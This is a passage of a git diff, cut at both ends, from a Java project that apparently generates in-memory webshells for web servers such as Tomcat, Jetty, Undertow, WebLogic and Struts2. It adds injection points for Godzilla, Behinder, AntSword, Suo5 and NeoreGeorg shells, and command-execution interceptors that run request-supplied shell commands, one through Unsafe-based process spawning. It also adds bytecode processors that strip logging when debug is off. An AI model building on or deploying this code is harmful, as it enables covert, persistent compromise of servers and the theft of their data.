+                    .staticInitialize(injectorConfig.isStaticInitialize())
+                    .build();
+            ResponseBodyConfig responseBodyConfig = ResponseBodyConfig.builder()
+                    .server(serverName)
+                    .base64Bytes(Base64.encodeBase64String(CommonUtil.gzipCompress(injectorBytes)))
+                    .build();
+            injectorBytes = new ResponseBodyGenerator(probeConfig, responseBodyConfig).getBytes();
+            injectorConfig.setInjectorClassName(probeConfig.getShellClassName());
+        }
+
         Map<String, byte[]> innerClassBytes = injectorGenerator.getInnerClassBytes();
 
         return MemShellResult.builder()

generator/src/main/java/com/reajason/javaweb/memshell/ServerFactory.java

@@ -8,6 +8,7 @@ import com.reajason.javaweb.memshell.shelltool.command.*;
 import com.reajason.javaweb.memshell.shelltool.godzilla.*;
 import com.reajason.javaweb.memshell.shelltool.neoreg.*;
 import com.reajason.javaweb.memshell.shelltool.suo5.*;
+import com.reajason.javaweb.memshell.shelltool.suo5v2.*;
 
 import java.util.Collections;
 import java.util.List;
@@ -44,6 +45,7 @@ public class ServerFactory {
         register(Server.SpringWebMvc, SpringWebMvc::new);
         register(Server.SpringWebFlux, SpringWebFlux::new);
         register(Server.XXLJOB, XxlJob::new);
+        register(Server.Struct2, Struct2::new);
 
         addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
                 .addShellClass(SERVLET, GodzillaServlet.class)
@@ -69,10 +71,14 @@ public class ServerFactory {
                 .addShellClass(NETTY_HANDLER, GodzillaNettyHandler.class)
                 .addShellClass(AGENT_FILTER_CHAIN, Godzilla.class)
                 .addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Godzilla.class)
-                .addShellClass(JETTY_AGENT_HANDLER, GodzillaJettyHandler.class)
+                .addShellClass(HANDLER, GodzillaJettyHandler.class)
+                .addShellClass(JAKARTA_HANDLER, GodzillaJettyHandler.class)
+                .addShellClass(CUSTOMIZER, GodzillaJettyCustomizer.class)
+                .addShellClass(JETTY_AGENT_HANDLER, GodzillaJettyAgentHandler.class)
                 .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, GodzillaUndertowServletHandler.class)
                 .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Godzilla.class)
                 .addShellClass(WAS_AGENT_FILTER_MANAGER, Godzilla.class)
+                .addShellClass(ACTION, GodzillaStruct2Action.class)
                 .build());
 
         addToolMapping(ShellTool.Behinder, ToolMapping.builder()
@@ -97,6 +103,7 @@ public class ServerFactory {
                 .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, BehinderUndertowServletHandler.class)
                 .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Behinder.class)
                 .addShellClass(WAS_AGENT_FILTER_MANAGER, Behinder.class)
+                .addShellClass(ACTION, BehinderStruct2Action.class)
                 .build());
 
         addToolMapping(ShellTool.AntSword, ToolMapping.builder()
@@ -114,6 +121,7 @@ public class ServerFactory {
                 .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, AntSwordUndertowServletHandler.class)
                 .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, AntSword.class)
                 .addShellClass(WAS_AGENT_FILTER_MANAGER, AntSword.class)
+                .addShellClass(ACTION, AntSwordStruct2Action.class)
                 .build());
 
         addToolMapping(ShellTool.Command, ToolMapping.builder()
@@ -129,6 +137,7 @@ public class ServerFactory {
                 .addShellClass(JAKARTA_PROXY_VALVE, Command.class)
                 .addShellClass(WEBSOCKET, CommandWebSocket.class)
                 .addShellClass(JAKARTA_WEBSOCKET, CommandWebSocket.class)
+                .addShellClass(UPGRADE, CommandUpgrade.class)
                 .addShellClass(SPRING_WEBMVC_INTERCEPTOR, CommandInterceptor.class)
                 .addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, CommandInterceptor.class)
                 .addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, CommandControllerHandler.class)
@@ -140,10 +149,14 @@ public class ServerFactory {
                 .addShellClass(NETTY_HANDLER, CommandNettyHandler.class)
                 .addShellClass(AGENT_FILTER_CHAIN, Command.class)
                 .addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Command.class)
-                .addShellClass(JETTY_AGENT_HANDLER, CommandJettyHandler.class)
+                .addShellClass(JETTY_AGENT_HANDLER, CommandJettyAgentHandler.class)
+                .addShellClass(HANDLER, CommandJettyHandler.class)
+                .addShellClass(CUSTOMIZER, CommandJettyCustomizer.class)
+                .addShellClass(JAKARTA_HANDLER, CommandJettyHandler.class)
                 .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandUndertowServletHandler.class)
                 .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Command.class)
                 .addShellClass(WAS_AGENT_FILTER_MANAGER, Command.class)
+                .addShellClass(ACTION, CommandStruct2Action.class)
                 .build());
 
         addToolMapping(ShellTool.Suo5, ToolMapping.builder()
@@ -169,6 +182,33 @@ public class ServerFactory {
                 .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, Suo5UndertowServletHandler.class)
                 .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Suo5.class)
                 .addShellClass(WAS_AGENT_FILTER_MANAGER, Suo5.class)
+                .addShellClass(ACTION, Suo5Struct2Action.class)
+                .build());
+
+        addToolMapping(ShellTool.Suo5v2, ToolMapping.builder()
+                .addShellClass(SERVLET, Suo5v2Servlet.class)
+                .addShellClass(JAKARTA_SERVLET, Suo5v2Servlet.class)
+                .addShellClass(FILTER, Suo5v2Filter.class)
+                .addShellClass(JAKARTA_FILTER, Suo5v2Filter.class)
+                .addShellClass(LISTENER, Suo5v2Listener.class)
+                .addShellClass(JAKARTA_LISTENER, Suo5v2Listener.class)
+                .addShellClass(VALVE, Suo5v2Valve.class)
+                .addShellClass(JAKARTA_VALVE, Suo5v2Valve.class)
+                .addShellClass(PROXY_VALVE, Suo5v2.class)
+                .addShellClass(JAKARTA_PROXY_VALVE, Suo5v2.class)
+                .addShellClass(SPRING_WEBMVC_INTERCEPTOR, Suo5v2Interceptor.class)
+                .addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, Suo5v2Interceptor.class)
+                .addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, Suo5v2ControllerHandler.class)
+                .addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, Suo5v2ControllerHandler.class)
+                .addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, Suo5v2.class)
+                .addShellClass(AGENT_FILTER_CHAIN, Suo5v2.class)
+                .addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Suo5v2.class)
+                .addShellClass(JETTY_AGENT_HANDLER, Suo5v2JettyHandler.class)
+                .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, Suo5v2UndertowServletHandler.class)
+                .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Suo5v2.class)
+                .addShellClass(WAS_AGENT_FILTER_MANAGER, Suo5v2.class)
+                .addShellClass(ACTION, Suo5v2Struct2Action.class)
+                .addShellClass(CUSTOMIZER, Suo5v2JettyCustomizer.class)
                 .build());
 
         addToolMapping(ShellTool.NeoreGeorg, ToolMapping.builder()
@@ -193,6 +233,7 @@ public class ServerFactory {
                 .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, NeoreGeorgUndertowServletHandler.class)
                 .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, NeoreGeorg.class)
                 .addShellClass(WAS_AGENT_FILTER_MANAGER, NeoreGeorg.class)
+                .addShellClass(ACTION, NeoreGeorgStruct2Action.class)
                 .build());
     }
 

generator/src/main/java/com/reajason/javaweb/memshell/ShellTool.java

@@ -9,6 +9,7 @@ public class ShellTool {
     public static final String Behinder = "Behinder";
     public static final String Command = "Command";
     public static final String Suo5 = "Suo5";
+    public static final String Suo5v2 = "Suo5v2";
     public static final String AntSword = "AntSword";
     public static final String NeoreGeorg = "NeoreGeorg";
     public static final String Custom = "Custom";

generator/src/main/java/com/reajason/javaweb/memshell/ShellToolFactory.java

@@ -23,6 +23,7 @@ public class ShellToolFactory {
         register(ShellTool.Behinder, BehinderGenerator.class, BehinderConfig.class);
         register(ShellTool.Command, CommandGenerator.class, CommandConfig.class);
         register(ShellTool.Suo5, Suo5Generator.class, Suo5Config.class);
+        register(ShellTool.Suo5v2, Suo5Generator.class, Suo5Config.class);
         register(ShellTool.AntSword, AntSwordGenerator.class, AntSwordConfig.class);
         register(ShellTool.NeoreGeorg, NeoreGeorgGenerator.class, NeoreGeorgConfig.class);
         register(ShellTool.Custom, CustomShellGenerator.class, CustomConfig.class);

generator/src/main/java/com/reajason/javaweb/memshell/ShellType.java

@@ -15,17 +15,22 @@ public class ShellType {
     public static final String JAKARTA_LISTENER = JAKARTA + LISTENER;
 
     public static final String VALVE = "Valve";
+    public static final String UPGRADE = "Upgrade";
     public static final String JAKARTA_VALVE = JAKARTA + VALVE;
     public static final String PROXY_VALVE = "Proxy" + VALVE;
     public static final String JAKARTA_PROXY_VALVE = JAKARTA + PROXY_VALVE;
 
+    public static final String HANDLER = "Handler";
+    public static final String JAKARTA_HANDLER = JAKARTA + HANDLER;
+    public static final String CUSTOMIZER = "Customizer";
+
     public static final String NETTY_HANDLER = "NettyHandler";
 
     public static final String AGENT = "Agent";
 
     public static final String AGENT_FILTER_CHAIN = AGENT + "FilterChain";
     public static final String CATALINA_AGENT_CONTEXT_VALVE = AGENT + "ContextValve";
-    public static final String JETTY_AGENT_HANDLER = AGENT + "Handler";
+    public static final String JETTY_AGENT_HANDLER = AGENT + HANDLER;
     public static final String UNDERTOW_AGENT_SERVLET_HANDLER = AGENT + "ServletHandler";
     public static final String WAS_AGENT_FILTER_MANAGER = AGENT + "FilterManager";
     public static final String WEBLOGIC_AGENT_SERVLET_CONTEXT = AGENT + "ServletContext";
@@ -41,4 +46,6 @@ public class ShellType {
     public static final String SPRING_WEBFLUX_HANDLER_FUNCTION = "HandlerFunction";
     public static final String WEBSOCKET = "WebSocket";
     public static final String JAKARTA_WEBSOCKET = "JakartaWebSocket";
+
+    public static final String ACTION = "Action";
 }

generator/src/main/java/com/reajason/javaweb/memshell/config/CommandConfig.java

@@ -15,15 +15,30 @@ import org.apache.commons.lang3.StringUtils;
 @SuperBuilder
 @ToString
 public class CommandConfig extends ShellToolConfig {
+
+    /**
+     * 接收参数的请求头或请求参数名称
+     */
     @Builder.Default
     private String paramName = CommonUtil.getRandomString(8);
 
+    /**
+     * 加密器
+     */
     @Builder.Default
     private Encryptor encryptor = Encryptor.RAW;
 
+    /**
+     * 实现类
+     */
     @Builder.Default
     private ImplementationClass implementationClass = ImplementationClass.RuntimeExec;
 
+    /**
+     * 命令执行模板，使用 {command} 作为占位符
+     */
+    private String template;
+
     public static abstract class CommandConfigBuilder<C extends CommandConfig, B extends CommandConfig.CommandConfigBuilder<C, B>>
             extends ShellToolConfig.ShellToolConfigBuilder<C, B> {
         public B paramName(String paramName) {

generator/src/main/java/com/reajason/javaweb/memshell/config/ShellConfig.java

@@ -55,17 +55,28 @@ public class ShellConfig {
     @Builder.Default
     private boolean debug = false;
 
+    /**
+     * 是否使用回显模式
+     */
+    @Builder.Default
+    private boolean probe = false;
+
     /**
      * 是否启用缩小字节码
      */
     @Builder.Default
     private boolean shrink = false;
 
+    /**
+     * 追加 Lambda 类名后缀
+     */
+    @Builder.Default
+    private boolean lambdaSuffix = false;
+
     public boolean isDebugOff() {
         return !debug;
     }
 
-
     public boolean isJakarta() {
         return shellType.startsWith(ShellType.JAKARTA);
     }

generator/src/main/java/com/reajason/javaweb/memshell/generator/ASMShellGenerator.java

@@ -1,19 +0,0 @@
-package com.reajason.javaweb.memshell.generator;
-
-import com.reajason.javaweb.ShellGenerator;
-import com.reajason.javaweb.memshell.config.ShellConfig;
-import com.reajason.javaweb.memshell.config.ShellToolConfig;
-
-/**
- * @author ReaJason
- * @since 2025/5/27
- */
-public abstract class ASMShellGenerator<T extends ShellToolConfig> implements ShellGenerator {
-    protected final ShellConfig shellConfig;
-    protected final T shellToolConfig;
-
-    protected ASMShellGenerator(ShellConfig shellConfig, T shellToolConfig) {
-        this.shellConfig = shellConfig;
-        this.shellToolConfig = shellToolConfig;
-    }
-}

generator/src/main/java/com/reajason/javaweb/memshell/generator/ByteBuddyShellGenerator.java

@@ -1,16 +1,10 @@
 package com.reajason.javaweb.memshell.generator;
 
-import com.reajason.javaweb.ClassBytesShrink;
 import com.reajason.javaweb.GenerationException;
 import com.reajason.javaweb.ShellGenerator;
-import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
-import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
 import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
-import com.reajason.javaweb.memshell.ServerFactory;
-import com.reajason.javaweb.memshell.ShellType;
 import com.reajason.javaweb.memshell.config.ShellConfig;
 import com.reajason.javaweb.memshell.config.ShellToolConfig;
-import com.reajason.javaweb.memshell.server.AbstractServer;
 import net.bytebuddy.description.type.TypeDescription;
 import net.bytebuddy.dynamic.DynamicType;
 
@@ -34,38 +28,21 @@ public abstract class ByteBuddyShellGenerator<T extends ShellToolConfig> impleme
         DynamicType.Builder<?> builder = getBuilder();
         String shellClassName = shellToolConfig.getShellClassName();
         Class<?> shellClass = shellToolConfig.getShellClass();
+
         if (shellClass != null) {
             shellToolConfig.setShellTypeDescription(TypeDescription.ForLoadedType.of(shellClass));
         }
+
         if (shellToolConfig.getShellTypeDescription() == null) {
             throw new GenerationException("shellClass or shellTypeDescription could not be null.");
         }
 
-        String shellType = shellConfig.getShellType();
-        AbstractServer server = ServerFactory.getServer(shellConfig.getServer());
-
-        if (ShellType.LISTENER.equals(shellType) || ShellType.JAKARTA_LISTENER.equals(shellType)) {
-            builder = ListenerGenerator.build(builder, server.getListenerInterceptor(), shellToolConfig.getShellTypeDescription(), shellClassName);
-        }
-
-        if (ShellType.VALVE.equals(shellType) || ShellType.JAKARTA_VALVE.equals(shellType)) {
-            builder = ValveGenerator.build(builder, server, shellConfig.getServerVersion());
-        }
-
-        if (shellConfig.isJakarta()) {
-            builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
-        }
-
-        if (shellConfig.isDebugOff()) {
-            builder = LogRemoveMethodVisitor.extend(builder);
-        }
-
-        builder = builder
+        builder = ProcessorRegistry.applyBuilderProcessors(builder, shellConfig, shellToolConfig)
                 .name(shellClassName)
                 .visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
 
         try (DynamicType.Unloaded<?> unloaded = builder.make()) {
-            return ClassBytesShrink.shrink(unloaded.getBytes(), shellConfig.isShrink());
+            return ProcessorRegistry.applyByteProcessors(unloaded.getBytes(), shellConfig, shellToolConfig);
         }
     }
 }

generator/src/main/java/com/reajason/javaweb/memshell/generator/Processor.java

@@ -0,0 +1,12 @@
+package com.reajason.javaweb.memshell.generator;
+
+import com.reajason.javaweb.memshell.config.ShellConfig;
+import com.reajason.javaweb.memshell.config.ShellToolConfig;
+
+/**
+ * @author ReaJason
+ * @since 2025/12/7
+ */
+public interface Processor<T> {
+    T process(T input, ShellConfig shellConfig, ShellToolConfig shellToolConfig);
+}

generator/src/main/java/com/reajason/javaweb/memshell/generator/ProcessorRegistry.java

@@ -0,0 +1,52 @@
+package com.reajason.javaweb.memshell.generator;
+
+import com.reajason.javaweb.memshell.config.ShellConfig;
+import com.reajason.javaweb.memshell.config.ShellToolConfig;
+import com.reajason.javaweb.memshell.generator.processors.*;
+import net.bytebuddy.dynamic.DynamicType;
+
+import java.util.Arrays;
+import java.util.List;
+
+/**
+ * @author ReaJason
+ * @since 2025/12/7
+ */
+public final class ProcessorRegistry {
+
+    private static final List<Processor<DynamicType.Builder<?>>> BUILDER_PROCESSORS = Arrays.asList(
+            new ListenerBuilderModifier(),
+            new ValveBuilderModifier(),
+            new JakartaBuilderModifier(),
+            new DebugOffBuilderModifier()
+    );
+
+    private static final List<Processor<byte[]>> BYTE_PROCESSORS = Arrays.asList(
+            new JettyHandlerPostProcessor(),
+            new ShrinkPostProcessor()
+    );
+
+    private ProcessorRegistry() {
+        // Prevent instantiation
+    }
+
+    public static DynamicType.Builder<?> applyBuilderProcessors(
+            DynamicType.Builder<?> builder,
+            ShellConfig shellConfig,
+            ShellToolConfig shellToolConfig) {
+        for (Processor<DynamicType.Builder<?>> processor : BUILDER_PROCESSORS) {
+            builder = processor.process(builder, shellConfig, shellToolConfig);
+        }
+        return builder;
+    }
+
+    public static byte[] applyByteProcessors(
+            byte[] bytes,
+            ShellConfig shellConfig,
+            ShellToolConfig shellToolConfig) {
+        for (Processor<byte[]> processor : BYTE_PROCESSORS) {
+            bytes = processor.process(bytes, shellConfig, shellToolConfig);
+        }
+        return bytes;
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/generator/command/CommandGenerator.java

@@ -1,8 +1,6 @@
 package com.reajason.javaweb.memshell.generator.command;
 
-import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
 import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper;
-import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
 import com.reajason.javaweb.memshell.config.CommandConfig;
 import com.reajason.javaweb.memshell.config.ShellConfig;
 import com.reajason.javaweb.memshell.generator.ByteBuddyShellGenerator;
@@ -33,14 +31,6 @@ public class CommandGenerator extends ByteBuddyShellGenerator<CommandConfig> {
                 .field(named("paramName"))
                 .value(shellToolConfig.getParamName());
 
-        if (shellConfig.isJakarta()) {
-            builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
-        }
-
-        if (shellConfig.isDebugOff()) {
-            builder = LogRemoveMethodVisitor.extend(builder);
-        }
-
         if (CommandConfig.Encryptor.DOUBLE_BASE64.equals(shellToolConfig.getEncryptor())) {
             builder = builder
                     .visit(MethodCallReplaceVisitorWrapper.newInstance("getParam",
@@ -52,13 +42,17 @@ public class CommandGenerator extends ByteBuddyShellGenerator<CommandConfig> {
                     .visit(Advice.to(ShellCommonUtil.Base64DecodeToStringInterceptor.class).on(named("base64DecodeToString")))
                     .visit(Advice.to(DoubleBase64ParamInterceptor.class).on(named("getParam")));
         }
-
         if (CommandConfig.ImplementationClass.RuntimeExec.equals(shellToolConfig.getImplementationClass())) {
-            builder = builder.visit(Advice.to(RuntimeExecInterceptor.class).on(named("getInputStream")));
+            builder = builder.visit(Advice.withCustomMapping()
+                    .bind(TemplateAnnotation.class, shellToolConfig.getTemplate())
+                    .to(RuntimeExecInterceptor.class)
+                    .on(named("getInputStream")));
         } else if (CommandConfig.ImplementationClass.ForkAndExec.equals(shellToolConfig.getImplementationClass())) {
-            builder = builder.visit(Advice.to(ForkAndExecInterceptor.class).on(named("getInputStream")));
+            builder = builder.visit(Advice.withCustomMapping()
+                    .bind(TemplateAnnotation.class, shellToolConfig.getTemplate())
+                    .to(ForkAndExecInterceptor.class)
+                    .on(named("getInputStream")));
         }
-
         return builder;
     }
 }

generator/src/main/java/com/reajason/javaweb/memshell/generator/command/ForkAndExecInterceptor.java

@@ -13,9 +13,27 @@ import java.lang.reflect.Method;
  */
 public class ForkAndExecInterceptor {
     @Advice.OnMethodExit
-    public static void enter(@Advice.Argument(value = 0) String cmd, @Advice.Return(readOnly = false) InputStream returnValue) throws IOException {
+    public static void enter(@Advice.Argument(value = 0) String cmd,
+                             @Advice.Return(readOnly = false) InputStream returnValue,
+                             @TemplateAnnotation String template
+    ) throws IOException {
         try {
-            String[] strs = cmd.split("\\s+");
+            String[] cmdarray = null;
+            String t = template;
+            if (t == null) {
+                cmdarray = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
+            } else {
+                if (t.contains("\"{command}\"")) {
+                    String[] split = t.split("\\s+");
+                    for (int i = 0; i < split.length; i++) {
+                        split[i] = split[i].replace("\"{command}\"", cmd);
+                    }
+                    cmdarray = split;
+                } else {
+                    String cmdline = t.replace("{command}", cmd);
+                    cmdarray = cmdline.split("\\s+");
+                }
+            }
             Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
             java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
             unsafeField.setAccessible(true);
@@ -30,11 +48,11 @@ public class ForkAndExecInterceptor {
             }
             Object processObject = unsafeClass.getMethod("allocateInstance", Class.class).invoke(unsafe, processClass);
 
-            byte[][] args = new byte[strs.length - 1][];
+            byte[][] args = new byte[cmdarray.length - 1][];
             int size = args.length;
 
             for (int i = 0; i < args.length; i++) {
-                args[i] = strs[i + 1].getBytes();
+                args[i] = cmdarray[i + 1].getBytes();
                 size += args[i].length;
             }
 
@@ -48,7 +66,7 @@ public class ForkAndExecInterceptor {
 
             int[] envc = new int[1];
             int[] std_fds = new int[]{-1, -1, -1};
-            byte[] bytes = strs[0].getBytes();
+            byte[] bytes = cmdarray[0].getBytes();
             byte[] result = new byte[bytes.length + 1];
             System.arraycopy(bytes, 0,
                     result, 0,

generator/src/main/java/com/reajason/javaweb/memshell/generator/command/RuntimeExecInterceptor.java

@@ -1,6 +1,7 @@
 package com.reajason.javaweb.memshell.generator.command;
 
 import net.bytebuddy.asm.Advice;
+import org.apache.commons.io.IOUtils;
 
 import java.io.IOException;
 import java.io.InputStream;
@@ -10,9 +11,28 @@ import java.io.InputStream;
  * @since 2025/5/25
  */
 public class RuntimeExecInterceptor {
+
     @Advice.OnMethodExit
-    public static void enter(@Advice.Argument(value = 0) String cmd, @Advice.Return(readOnly = false) InputStream returnValue) throws IOException {
-        String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
-        returnValue = new ProcessBuilder(cmds).redirectErrorStream(true).start().getInputStream();
+    public static void enter(@Advice.Argument(value = 0) String cmd,
+                             @Advice.Return(readOnly = false) InputStream returnValue,
+                             @TemplateAnnotation String template
+    ) throws IOException {
+        String[] cmdarray = null;
+        String t = template;
+        if (t == null) {
+            cmdarray = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
+        } else {
+            if (t.contains("\"{command}\"")) {
+                String[] split = t.split("\\s+");
+                for (int i = 0; i < split.length; i++) {
+                    split[i] = split[i].replace("\"{command}\"", cmd);
+                }
+                cmdarray = split;
+            } else {
+                String cmdline = t.replace("{command}", cmd);
+                cmdarray = cmdline.split("\\s+");
+            }
+        }
+        returnValue = new ProcessBuilder(cmdarray).redirectErrorStream(true).start().getInputStream();
     }
 }

generator/src/main/java/com/reajason/javaweb/memshell/generator/command/TemplateAnnotation.java

@@ -0,0 +1,8 @@
+package com.reajason.javaweb.memshell.generator.command;
+
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+
+@Retention(RetentionPolicy.RUNTIME)
+public @interface TemplateAnnotation {
+}

generator/src/main/java/com/reajason/javaweb/memshell/generator/processors/DebugOffBuilderModifier.java

@@ -0,0 +1,22 @@
+package com.reajason.javaweb.memshell.generator.processors;
+
+import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
+import com.reajason.javaweb.memshell.config.ShellConfig;
+import com.reajason.javaweb.memshell.config.ShellToolConfig;
+import com.reajason.javaweb.memshell.generator.Processor;
+import net.bytebuddy.dynamic.DynamicType;
+
+/**
+ * @author ReaJason
+ * @since 2025/12/7
+ */
+public class DebugOffBuilderModifier implements Processor<DynamicType.Builder<?>> {
+
+    @Override
+    public DynamicType.Builder<?> process(DynamicType.Builder<?> builder, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
+        if (shellConfig.isDebugOff()) {
+            builder = LogRemoveMethodVisitor.extend(builder);
+        }
+        return builder;
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/generator/processors/JakartaBuilderModifier.java

@@ -0,0 +1,22 @@
+package com.reajason.javaweb.memshell.generator.processors;
+
+import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
+import com.reajason.javaweb.memshell.config.ShellConfig;
+import com.reajason.javaweb.memshell.config.ShellToolConfig;
+import com.reajason.javaweb.memshell.generator.Processor;
+import net.bytebuddy.dynamic.DynamicType;
+
+/**
+ * @author ReaJason
+ * @since 2025/12/7
+ */
+public class JakartaBuilderModifier implements Processor<DynamicType.Builder<?>> {
+
+    @Override
+    public DynamicType.Builder<?> process(DynamicType.Builder<?> builder, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
+        if (shellConfig.isJakarta()) {
+            builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
+        }
+        return builder;
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/generator/processors/JettyHandlerPostProcessor.java

@@ -0,0 +1,62 @@
+package com.reajason.javaweb.memshell.generator.processors;
+
+import com.reajason.javaweb.GenerationException;
+import com.reajason.javaweb.asm.ClassRenameUtils;
+import com.reajason.javaweb.asm.ClassSuperClassUtils;
+import com.reajason.javaweb.asm.MethodUtils;
+import com.reajason.javaweb.memshell.ServerFactory;
+import com.reajason.javaweb.memshell.ShellType;
+import com.reajason.javaweb.memshell.config.ShellConfig;
+import com.reajason.javaweb.memshell.config.ShellToolConfig;
+import com.reajason.javaweb.memshell.generator.Processor;
+import com.reajason.javaweb.memshell.server.AbstractServer;
+import com.reajason.javaweb.memshell.server.Jetty;
+
+/**
+ * @author ReaJason
+ * @since 2025/12/7
+ */
+public class JettyHandlerPostProcessor implements Processor<byte[]> {
+
+    @Override
+    public byte[] process(byte[] bytes, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
+        AbstractServer server = ServerFactory.getServer(shellConfig.getServer());
+        String shellType = shellConfig.getShellType();
+        if (server instanceof Jetty
+                && (ShellType.HANDLER.equals(shellType)
+                || ShellType.JAKARTA_HANDLER.equals(shellType))
+        ) {
+            String superClassName = null;
+            String serverVersion = shellConfig.getServerVersion();
+            if (serverVersion != null) {
+                switch (serverVersion) {
+                    case "6":
+                        superClassName = "org/mortbay/jetty/handler/AbstractHandler";
+                        bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Lorg/eclipse/jetty/server/Request;Lorg/eclipse/jetty/server/Response;Lorg/eclipse/jetty/util/Callback;)Z");
+                        bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Lorg/eclipse/jetty/server/Request;Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;)V");
+                        bytes = ClassRenameUtils.relocateClass(bytes, "org/eclipse/jetty/server", "org/mortbay/jetty");
+                        break;
+                    case "7+":
+                        superClassName = "org/eclipse/jetty/server/handler/AbstractHandler";
+                        bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Lorg/eclipse/jetty/server/Request;Lorg/eclipse/jetty/server/Response;Lorg/eclipse/jetty/util/Callback;)Z");
+                        bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;I)V");
+                        bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Ljakarta/servlet/http/HttpServletRequest;Ljakarta/servlet/http/HttpServletResponse;I)V");
+                        break;
+                    case "12":
+                        superClassName = "org/eclipse/jetty/server/Handler$Abstract";
+                        bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/Object;Ljava/lang/Object;)Z");
+                        bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;I)V");
+                        bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Ljakarta/servlet/http/HttpServletRequest;Ljakarta/servlet/http/HttpServletResponse;I)V");
+                        bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Lorg/eclipse/jetty/server/Request;Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;)V");
+                        bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Lorg/eclipse/jetty/server/Request;Ljakarta/servlet/http/HttpServletRequest;Ljakarta/servlet/http/HttpServletResponse;)V");
+                        break;
+                }
+            }
+            if (superClassName == null) {
+                throw new GenerationException("serverVersion is needed for Jetty Handler or unknow serverVersion: [" + serverVersion + "], please use one of ['6', '7+', '12'] for shellConfig.serverVersion");
+            }
+            return ClassSuperClassUtils.addSuperClass(bytes, superClassName);
+        }
+        return bytes;
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/generator/processors/ListenerBuilderModifier.java

@@ -1,7 +1,13 @@
-package com.reajason.javaweb.memshell.generator;
+package com.reajason.javaweb.memshell.generator.processors;
 
 import com.reajason.javaweb.GenerationException;
 import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper;
+import com.reajason.javaweb.memshell.ServerFactory;
+import com.reajason.javaweb.memshell.ShellType;
+import com.reajason.javaweb.memshell.config.ShellConfig;
+import com.reajason.javaweb.memshell.config.ShellToolConfig;
+import com.reajason.javaweb.memshell.generator.Processor;
+import com.reajason.javaweb.memshell.server.AbstractServer;
 import com.reajason.javaweb.utils.ShellCommonUtil;
 import net.bytebuddy.asm.Advice;
 import net.bytebuddy.description.method.MethodDescription;
@@ -18,12 +24,26 @@ import static net.bytebuddy.matcher.ElementMatchers.takesArguments;
 
 /**
  * @author ReaJason
- * @since 2025/2/22
+ * @since 2025/12/7
  */
-public class ListenerGenerator {
+public class ListenerBuilderModifier implements Processor<DynamicType.Builder<?>> {
 
-    public static DynamicType.Builder<?> build(DynamicType.Builder<?> builder, Class<?> implInterceptor,
